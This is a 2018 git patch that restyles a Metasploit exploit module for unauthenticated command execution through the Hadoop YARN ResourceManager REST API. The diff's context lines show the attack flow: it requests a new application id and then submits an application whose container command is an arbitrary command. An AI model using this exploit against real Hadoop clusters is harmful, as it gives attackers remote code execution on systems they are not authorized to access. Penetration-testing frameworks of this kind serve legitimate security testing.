From c3b71d46425e45a6ed59c36015223541e2f0a865 Mon Sep 17 00:00:00 2001 From: Green-m Date: Sun, 1 Jul 2018 22:43:07 -0400 Subject: [PATCH] Update mismatch indentation and others --- .../exploits/linux/http/hadoop_unauth_exec.rb | 22 +++++++++---------- 1 file changed, 10 insertions(+), 12 deletions(-) diff --git a/modules/exploits/linux/http/hadoop_unauth_exec.rb b/modules/exploits/linux/http/hadoop_unauth_exec.rb index 8c0da60a97..1872df018c 100644 --- a/modules/exploits/linux/http/hadoop_unauth_exec.rb +++ b/modules/exploits/linux/http/hadoop_unauth_exec.rb @@ -9,11 +9,11 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager - def initialize(info={}) + def initialize(info = {}) super(update_info(info, - 'Name' => 'Hadoop YARN ResourceManager Unauthorized Command Execution', + 'Name' => 'Hadoop YARN ResourceManager Unauthenticated Command Execution', 'Description' => %q{ - This module exploits an unauthorized command execution vulnerability in Apache Hadoop through ResourceManager REST API. + This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API. }, 'License' => MSF_LICENSE, 'Author' => @@ -38,16 +38,14 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0 )) - register_options([ - Opt::RPORT(8088) - ]) + register_options([Opt::RPORT(8088)]) end def check res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), - 'method' => 'POST' + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), + 'method' => 'POST' ) unless res @@ -69,8 +67,8 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts = {}) res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), - 'method' => 'POST' + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), + 'method' => 'POST' ) app_id = res.get_json_document['application-id'] @@ -80,12 +78,12 @@ class MetasploitModule < Msf::Exploit::Remote 'application-name' => Rex::Text.rand_text_alpha_lower(4..12), 'application-type' => 'YARN', 'am-container-spec' => { - 'commands' => {'command' => "#{cmd}"}, + 'commands' => {'command' => cmd.to_s}, } } res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'), + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'), 'method' => 'POST', 'ctype' => 'application/json', 'data' => post.to_json